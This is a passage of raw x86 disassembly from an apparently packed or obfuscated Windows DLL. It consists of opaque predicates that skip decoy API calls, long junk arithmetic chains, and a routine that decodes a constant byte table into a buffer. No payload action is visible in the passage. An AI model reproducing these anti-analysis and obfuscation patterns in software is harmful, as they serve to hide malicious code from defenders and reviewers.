jae 0x10018cab
mov eax, dword [ebp - 0x394]
mov byte [ebp + eax - 0xea0], 0
jmp 0x10018c85
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x930], 0x51162f63
mov dword [ebp - 0xdb8], 0xca335c22
mov dword [ebp - 0xc60], 0x1c9b
mov eax, 0xffff6efe
test eax, eax
je 0x10018d07
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x10018d02
push 0
push 0x1361
push 0xd8
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
jmp 0x100190c7
mov dword [ebp - 0x13c], 0x81c2900
mov dword [ebp - 0x4a8], 0xa83afd4
mov dword [ebp - 0x928], 1
mov byte [ebp - 0x1aa], 0
movzx eax, byte [ebp - 0x1aa]
test eax, eax
je 0x10018d43
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [ebp - 0x13c], 0
jmp 0x10018d5c
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xfffffffb
jle 0x100190c7
mov dword [ebp - 0x214], 0x46710139
mov dword [ebp - 0x144], 0xbec0
cmp dword [ebp - 0x13c], 0
je 0x10018ec9
mov dword [ebp - 0xa60], 6
cmp dword [ebp - 0x214], 1
jne 0x10018da9
mov dword [ebp - 0x680], 1
jmp 0x10018db0
and dword [ebp - 0x680], 0
cmp dword [ebp - 0x680], 0x6bc0
jle 0x10018dc8
mov dword [ebp - 0xb00], 1
jmp 0x10018dcf
and dword [ebp - 0xb00], 0
mov eax, dword [ebp - 0xa60]
cmp dword [ebp - 0xb00], eax
jg 0x10018de9
mov dword [ebp - 0x688], 1
jmp 0x10018df0
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x144]
add eax, dword [ebp - 0x688]
imul eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x440]
cmp eax, dword [ebp - 0x13c]
jg 0x10018e1d
mov dword [ebp - 0x918], 1
jmp 0x10018e24
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0xb593
jg 0x10018e48
mov dword [ebp - 0x690], 1
jmp 0x10018e4f
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x930]
cmp dword [ebp - 0x214], 0
je 0x10018e78
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x112c], eax
mov eax, dword [ebp - 0xa60]
mov dword [ebp - 0xdb8], eax
jmp 0x10018ec4
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0xc60]
jle 0x10018e92
mov dword [ebp - 0x698], 1
jmp 0x10018e99
and dword [ebp - 0x698], 0
cmp dword [ebp - 0x698], 0xd04cd021
jbe 0x10018eb1
mov dword [ebp - 0x920], 1
jmp 0x10018eb8
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0x4a8], eax
jmp 0x100190c2
mov dword [ebp - 0x6c0], 0xdf90
mov dword [ebp - 0xa70], 0xe3087c3c
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1134], eax
imul eax, dword [ebp - 0x144], 0x6e49
mov dword [ebp - 0x214], eax
imul eax, dword [ebp - 0x214], 0x3780
cmp eax, 0x82c5a4ec
jae 0x10018f16
mov dword [ebp - 0x6a0], 1
jmp 0x10018f1d
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x6a0], eax
jg 0x10018f37
mov dword [ebp - 0xb24], 1
jmp 0x10018f3e
and dword [ebp - 0xb24], 0
cmp dword [ebp - 0xb24], 0xacdff905
jne 0x10018f56
mov dword [ebp - 0x6a8], 1
jmp 0x10018f5d
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 0x503a
je 0x10018f81
mov dword [ebp - 0x6b0], 1
jmp 0x10018f88
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x6b0], eax
jne 0x10018fa2
mov dword [ebp - 0xa68], 1
jmp 0x10018fa9
and dword [ebp - 0xa68], 0
cmp dword [ebp - 0xa68], 0x1f5e2d0b
jl 0x10018fc1
mov dword [ebp - 0x6b8], 1
jmp 0x10018fc8
and dword [ebp - 0x6b8], 0
cmp dword [ebp - 0x6b8], 0xfff9
jne 0x10018fe0
mov dword [ebp - 0xe78], 1
jmp 0x10018fe7
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x113c], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1144], eax
mov dword [ebp - 0x6c0], 1
mov eax, dword [ebp - 0x930]
cmp eax, dword [ebp - 0x6c0]
jne 0x10019027
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x10019027
and dword [ebp - 0xb0c], 0
jmp 0x10019031
mov dword [ebp - 0xb0c], 1
cmp dword [ebp - 0xb0c], 0xfede048f
ja 0x10019049
mov dword [ebp - 0x6c8], 1
jmp 0x10019050
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x6c8], eax
je 0x1001906a
mov dword [ebp - 0x938], 1
jmp 0x10019071
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0xa70]
cmp dword [ebp - 0x938], eax
jle 0x1001908b
mov dword [ebp - 0x6d0], 1
jmp 0x10019092
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0xa70], eax
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x100190c2
push 0x1e9d
push 0x1369
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
jmp 0x10018d4f
mov byte [ebp - 0x254], 2
mov byte [ebp - 0x253], 0xb8
mov byte [ebp - 0x252], 6
mov byte [ebp - 0x251], 0x35
mov byte [ebp - 0x250], 0xa
mov byte [ebp - 0x24f], 0x35
mov byte [ebp - 0x24e], 3
mov byte [ebp - 0x24d], 0x5a
mov byte [ebp - 0x24c], 0xc8
mov byte [ebp - 0x24b], 0xd8
mov byte [ebp - 0x24a], 0
mov byte [ebp - 0x249], 0x26
mov byte [ebp - 0x248], 1
mov byte [ebp - 0x247], 0x31
mov byte [ebp - 0x246], 0xd
mov byte [ebp - 0x245], 0x25
mov byte [ebp - 0x244], 9
mov byte [ebp - 0x243], 0x34
mov byte [ebp - 0x242], 8
mov byte [ebp - 0x241], 0xc
mov byte [ebp - 0x240], 0xb
mov byte [ebp - 0x23f], 0x1c
mov byte [ebp - 0x23e], 0xc
mov byte [ebp - 0x23d], 0
mov byte [ebp - 0x23c], 7
mov byte [ebp - 0x23b], 1
mov byte [ebp - 0x23a], 4
mov byte [ebp - 0x239], 6
mov byte [ebp - 0x238], 3
mov byte [ebp - 0x237], 0x15
mov byte [ebp - 0x236], 5
mov byte [ebp - 0x235], 4
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x254]
and eax, 0xdd
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x254]
or ecx, 0xdd
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x254]
mov byte [ebp + eax - 0xc08], cl
mov dword [ebp - 0xf68], 0xfffffffa
mov dword [ebp - 0xf64], 0xfffffffa
mov dword [ebp - 0xf60], 0xfffffffa
mov dword [ebp - 0xf5c], 0xfffffffa
lea ecx, [ebp - 0x469]
call fcn.100227a1
push eax
lea eax, [ebp - 0xf58]
push eax
lea eax, [ebp - 0xf68]
push eax
lea ecx, [ebp - 0x1304]
call fcn.100227a4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x12b8]
call fcn.100226f4
mov dword [ebp - 0x2fc], 0xfffffff6
mov dword [ebp - 0xc68], 1
mov dword [ebp - 0x114c], 0x42ca8cda
mov byte [ebp - 0x1a1], 0
movzx eax, byte [ebp - 0x1a1]
test eax, eax
je 0x1001927a
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [ebp - 0x2fc], 3
jmp 0x10019293
mov eax, dword [ebp - 0x2fc]
dec eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0
jl 0x100192e0
mov dword [ebp - 0x204], 0xccbad86e
mov dword [ebp - 0x204], 0
jmp 0x100192bf
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 3
jg 0x100192d4
mov dword [ebp - 0xc68], 0x80e3580d
jmp 0x100192b2
mov dword [ebp - 0x204], 1
jmp 0x10019286
lea ecx, [ebp - 0x12b8]
call fcn.1002271a
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1f8], 0
jmp 0x10019303
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x20
jae 0x1001a28a
mov dword [ebp - 0xf4], 0x24a8c6a5
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x448], 3
mov dword [ebp - 0xc70], 0x3aa9
mov dword [ebp - 0xf4], 0xffffffe3
jmp 0x1001934b
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x1a
jne 0x10019608
mov dword [ebp - 0x24], 0x1891f782
mov dword [ebp - 0x39c], 0
jmp 0x10019378
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 1
jge 0x10019394
mov eax, dword [ebp - 0x39c]
mov dword [ebp + eax*4 - 0x224], 0x9f42
jmp 0x1001936b
mov dword [ebp - 0x24], 0
jmp 0x100193a4
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x1001947c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp + ecx*4 - 0x224]
sub ecx, 0x4057
cmp ecx, dword [ebp + eax*4 - 0x224]
jne 0x100193d6
mov dword [ebp - 0x6d8], 1
jmp 0x100193dd
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1154], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x224]
mov dword [ebp - 0x115c], eax
cmp dword [ebp - 0xf4], 0xda7b
jge 0x1001941a
cmp dword [ebp - 0x24], 0
jne 0x1001941a
and dword [ebp - 0x940], 0
jmp 0x10019424
mov dword [ebp - 0x940], 1
cmp dword [ebp - 0x940], 0
jg 0x10019439
mov dword [ebp - 0x6e0], 1
jmp 0x10019440
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x224]
cmp dword [ebp - 0x6e0], eax
jne 0x10019464
cmp dword [ebp - 0x24], 0
je 0x10019464
mov dword [ebp - 0xb2c], 1
jmp 0x1001946b
and dword [ebp - 0xb2c], 0
mov eax, dword [ebp - 0xb2c]
mov dword [ebp - 0x448], eax
jmp 0x1001939d
cmp dword [ebp - 0x448], 0
jne 0x100195f0
cmp dword [ebp - 0x3c], 0
je 0x100195d1
cmp dword [ebp - 0x3c], 0xffff
jne 0x100194a8
mov dword [ebp - 0x6e8], 1
jmp 0x100194af
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x6e8], eax
jge 0x100194c6
mov dword [ebp - 0xdc0], 1
jmp 0x100194cd
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x1164], eax
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x24]
je 0x100194f0
mov dword [ebp - 0x948], 1
jmp 0x100194f7
and dword [ebp - 0x948], 0
cmp dword [ebp - 0x948], 1
jge 0x1001950c
mov dword [ebp - 0x6f0], 1
jmp 0x10019513
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0xc70]
cmp dword [ebp - 0x6f0], eax
jg 0x1001952d
mov dword [ebp - 0xa78], 1
jmp 0x10019534
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xa78]
jle 0x1001954e
mov dword [ebp - 0xe60], 1
jmp 0x10019555
and dword [ebp - 0xe60], 0
cmp dword [ebp - 0x3c], 0
je 0x10019567
mov dword [ebp - 0x6f8], 1
jmp 0x1001956e
and dword [ebp - 0x6f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x224]
cmp dword [ebp - 0x6f8], eax
jne 0x1001958f
mov dword [ebp - 0x950], 1
jmp 0x10019596
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x950]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x24]
jne 0x100195b3
mov dword [ebp - 0xc78], 1
jmp 0x100195ba
and dword [ebp - 0xc78], 0
xor eax, eax
inc eax
je 0x100195d1
cmp dword [ebp - 0x24], 0
je 0x100195d1
mov dword [ebp - 0x700], 1
jmp 0x100195d8
and dword [ebp - 0x700], 0
cmp dword [ebp - 0x700], 0
jle 0x100195e7
cmp dword [ebp - 0x24], 0
jne 0x100195f0
and dword [ebp - 0xb18], 0
jmp 0x100195fa
mov dword [ebp - 0xb18], 1
mov eax, dword [ebp - 0xb18]
mov dword [ebp - 0x24], eax
jmp 0x1001933e
mov dword [ebp - 0x3c], 0xffffffe9
jmp 0x10019618
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1b
jl 0x10019726
mov dword [ebp - 0x1dc], 0x9025b0d6
mov dword [ebp - 0xc80], 1
cmp dword [ebp - 0x1dc], 0x830a
je 0x1001964e
mov dword [ebp - 0x958], 1
jmp 0x10019655
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x1dc]
cmp eax, dword [ebp - 0x3c]
jge 0x1001966c
mov dword [ebp - 0xdc8], 1
jmp 0x10019673
and dword [ebp - 0xdc8], 0
cmp dword [ebp - 0xf4], 0
je 0x1001968e
cmp dword [ebp - 0x3c], 0
je 0x1001968e
mov dword [ebp - 0x708], 1
jmp 0x10019695
and dword [ebp - 0x708], 0
cmp dword [ebp - 0x708], 0x764fe605
jle 0x100196ad
mov dword [ebp - 0x710], 1
jmp 0x100196b4
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x958]
cmp eax, dword [ebp - 0x710]
jl 0x100196ce
mov dword [ebp - 0xa80], 1
jmp 0x100196d5
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0xa80]
mov dword [ebp - 0xc80], eax
mov dword [ebp - 0x1dc], 0xfffffff6
jmp 0x100196fa
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x13
je 0x10019721
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x1001971f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x100196ed
jmp 0x10019611
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x254]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10019b87
mov dword [ebp - 0x304], 0
jmp 0x1001975a
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 1
jge 0x10019776
mov eax, dword [ebp - 0x304]
mov dword [ebp + eax*4 - 0x3a4], 1
jmp 0x1001974d
mov byte [ebp - 0x1a7], 0
movzx eax, byte [ebp - 0x1a7]
test eax, eax
je 0x10019790
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3a4], 0xffffffe7
jmp 0x100197be
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3a4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3a4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a4], 0x1d
je 0x100197ef
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x100197ed
push 0xfef
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x100197a3
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x254]
inc eax
mov dword [ebp - 0x1f8], eax
push 2
lea ecx, [ebp - 0x4a4]
call fcn.10022698
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x5c], 0xfffffffc
push 3
lea ecx, [ebp - 0xeec]
call fcn.10022698
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x730], 0xcbbbc25
mov dword [ebp - 0x98], 0
jmp 0x10019850
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x10019872
push dword [ebp - 0x98]
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov dword [eax], 1
jmp 0x10019843
mov dword [ebp - 0x98], 0
jmp 0x1001988b
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x100198ad
push dword [ebp - 0x98]
lea ecx, [ebp - 0xeec]
call fcn.1002273f
mov dword [eax], 0x992f1e5c
jmp 0x1001987e
mov dword [ebp - 0x5c], 1
jmp 0x100198bd
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x10019b4f
mov dword [ebp - 0x14c], 0xffff
mov dword [ebp - 0x1ec], 0x7e784b52
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
cmp dword [eax], 0
je 0x100198f3
jmp 0x10019b4f
mov esi, dword [ebp - 0x5c]
push 0
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
cmp dword [eax], esi
jl 0x10019a35
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov esi, eax
push 1
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x1001993a
mov dword [ebp - 0x718], 1
jmp 0x10019941
and dword [ebp - 0x718], 0
imul eax, dword [ebp - 0x718], 7
mov dword [ebp - 0x960], eax
push 0
lea ecx, [ebp - 0xeec]
call fcn.1002273f
mov ecx, dword [ebp - 0x960]
mov dword [eax], ecx
cmp dword [ebp - 0x960], 0xec2184e5
jbe 0x1001997b
mov dword [ebp - 0x720], 1
jmp 0x10019982
and dword [ebp - 0x720], 0
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov ecx, dword [ebp - 0x720]
cmp ecx, dword [eax]
jl 0x100199a6
mov dword [ebp - 0xb34], 1
jmp 0x100199ad
and dword [ebp - 0xb34], 0
push 1
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov esi, dword [ebp - 0xb34]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
imul esi, dword [eax]
cmp esi, 0xf9a4d91f
jne 0x100199e6
mov dword [ebp - 0x728], 1
jmp 0x100199ed
and dword [ebp - 0x728], 0
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov ecx, dword [ebp - 0x728]
cmp ecx, dword [eax]
jne 0x10019a11
mov dword [ebp - 0x968], 1
jmp 0x10019a18
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0x968]
mov dword [ebp - 0x730], eax
jne 0x10019a35
and dword [ebp - 0xa88], 0
jmp 0x10019a3f
mov dword [ebp - 0xa88], 1
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0xa88], eax
jge 0x10019a59
mov dword [ebp - 0x738], 1
jmp 0x10019a60
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x738]
cmp eax, 4
je 0x10019a7e
mov dword [ebp - 0x970], 1
jmp 0x10019a85
and dword [ebp - 0x970], 0
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x4a4]
call fcn.1002273f
mov ecx, dword [ebp - 0x970]
cmp ecx, dword [eax]
je 0x10019aa9
mov dword [ebp - 0xe80], 1
jmp 0x10019ab0
and dword [ebp - 0xe80], 0
mov eax, dword [ebp - 0x5c]
neg eax
je 0x10019ad5
push 2
lea ecx, [ebp - 0xeec]
call fcn.1002273f
cmp dword [eax], 0
je 0x10019ad5
mov dword [ebp - 0x740], 1
jmp 0x10019adc
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x14c], 0
jmp 0x10019b01
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jg 0x10019b4a
mov dword [ebp - 0x1ec], 1
jmp 0x10019b23
mov eax, dword [ebp - 0x1ec]
dec eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
jl 0x10019b48
mov byte [ebp - 0x1a3], 0
movzx eax, byte [ebp - 0x1a3]
test eax, eax
je 0x10019b46
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
jmp 0x10019b16
jmp 0x10019af4
jmp 0x100198b6
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xeec]
call fcn.1002271a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4a4]
call fcn.1002271a
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x254]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x100192fb
mov dword [ebp - 0x1c], 0xbac64a68
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x314], 0x1aa4
mov dword [ebp - 0xc90], 1
mov dword [ebp - 0xc98], 0
mov dword [ebp - 0x1c], 0
jmp 0x10019bc6
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff1
jl 0x10019c10
mov dword [ebp - 0x30c], 0xb51dba33
mov dword [ebp - 0x30c], 7
jmp 0x10019bef
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0xc
jge 0x10019c0e
mov dword [ebp - 0xc88], 0x85c9
mov dword [ebp - 0xc88], 0
jmp 0x10019be2
jmp 0x10019bbf
cmp dword [ebp - 0x1c], 0
jne 0x10019dc2
cmp dword [ebp - 0x1c], 0x31f145ba
jg 0x10019c2f
mov dword [ebp - 0x768], 1
jmp 0x10019c36
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
imul eax, eax, 0xffff
test eax, eax
jl 0x10019c55
cmp dword [ebp - 0x1c], 0
jne 0x10019c55
and dword [ebp - 0xb3c], 0
jmp 0x10019c5f
mov dword [ebp - 0xb3c], 1
mov eax, dword [ebp - 0xb3c]
add eax, 0xffff
cmp eax, 5
jbe 0x10019c7b
mov dword [ebp - 0x748], 1
jmp 0x10019c82
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x748], eax
je 0x10019c99
mov dword [ebp - 0x978], 1
jmp 0x10019ca0
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x978], eax
jge 0x10019cb7
mov dword [ebp - 0x750], 1
jmp 0x10019cbe
and dword [ebp - 0x750], 0
cmp dword [ebp - 0x750], 1
jbe 0x10019cd9
mov eax, 0xf9080254
test eax, eax
jne 0x10019cd9
and dword [ebp - 0xa90], 0
jmp 0x10019ce3
mov dword [ebp - 0xa90], 1
mov eax, dword [ebp - 0xa90]
neg eax
cmp eax, dword [ebp - 0x3ac]
jle 0x10019cff
mov dword [ebp - 0x758], 1
jmp 0x10019d06
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x1c]
jge 0x10019d29
mov dword [ebp - 0x980], 1
jmp 0x10019d30
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x980]
add eax, 0x1552b9cb
cmp eax, dword [ebp - 0x314]
je 0x10019d4f
mov dword [ebp - 0x760], 1
jmp 0x10019d56
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0x760], eax
je 0x10019d70
mov dword [ebp - 0xb58], 1
jmp 0x10019d77
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0xb58], eax
jne 0x10019d91
mov dword [ebp - 0xdd0], 1
jmp 0x10019d98
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x116c], eax
imul eax, dword [ebp - 0x3ac], 0x1ad3
sub eax, dword [ebp - 0xc90]
cmp dword [ebp - 0x768], eax
jg 0x10019dc2
and dword [ebp - 0x988], 0
jmp 0x10019dcc
mov dword [ebp - 0x988], 1
cmp dword [ebp - 0x988], 9
je 0x10019de1
mov dword [ebp - 0x770], 1
jmp 0x10019de8
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x770]
cmp eax, 4
jae 0x10019e06
mov dword [ebp - 0xe88], 1
jmp 0x10019e0d
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1174], eax
cmp dword [ebp - 0x1c], 0xfffffffb
jne 0x10019e28
mov dword [ebp - 0xa98], 1
jmp 0x10019e2f
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xa98], eax
je 0x10019e46
mov dword [ebp - 0x778], 1
jmp 0x10019e4d
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc98], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1f8]
movzx eax, byte [ebp + eax - 0x256]
movsx eax, byte [ebp + eax - 0xc08]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x253]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1f8]
movzx eax, byte [ebp + eax - 0x256]
movsx eax, byte [ebp + eax - 0xc08]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x253]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1f8]
movzx eax, byte [ebp + eax - 0x256]
movsx eax, byte [ebp + eax - 0xc08]
mov esi, dword [ebp - 0x20]
movzx ebx, byte [ebp + esi - 0x253]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x254]
mov byte [ebp + eax - 0xc08], bl
mov dword [ebp - 0x1e4], 0xc93b4e1
mov dword [ebp - 0x154], 0x16488a97
mov dword [ebp - 0xdd8], 7
mov dword [ebp - 0xb80], 0x34f9a325
mov dword [ebp - 0x7a8], 1
mov dword [ebp - 0xca0], 0x996e1580
mov dword [ebp - 0x1e4], 0
jmp 0x10019f3c
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jne 0x1001a27e
mov dword [ebp - 0x50], 1
push 1
lea ecx, [ebp - 0xf04]
call fcn.10022698
mov dword [ebp - 4], 0x12
mov dword [ebp - 0xb8], 0
jmp 0x10019f7d
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jge 0x10019f9f
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xf04]
call fcn.1002273f
mov dword [eax], 0xfffffffc
jmp 0x10019f70
mov dword [ebp - 0xb8], 0
jmp 0x10019fb8
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x10019fd4
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x12f4], 0x55d58009
jmp 0x10019fab
mov dword [ebp - 0x50], 0xffffffe8
jmp 0x10019fe4
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 9
jl 0x1001a157
mov dword [ebp - 0xb28], 0x25d2d915
mov dword [ebp - 0x480], 0x8405cefd
cmp dword [ebp - 0x50], 0
jne 0x1001a014
mov dword [ebp - 0x990], 1
jmp 0x1001a01b
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0xb28]
cmp eax, dword [ebp - 0x990]
jl 0x1001a035
mov dword [ebp - 0x780], 1
jmp 0x1001a03c
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x1228], eax
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x780], eax
je 0x1001a06b
mov dword [ebp - 0x998], 1
jmp 0x1001a072
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0xb28]
mov dword [ebp - 0x788], eax
push 0
lea ecx, [ebp - 0xf04]
call fcn.1002273f
mov ecx, dword [ebp - 0x788]
mov dword [eax], ecx
mov eax, dword [ebp - 0x788]
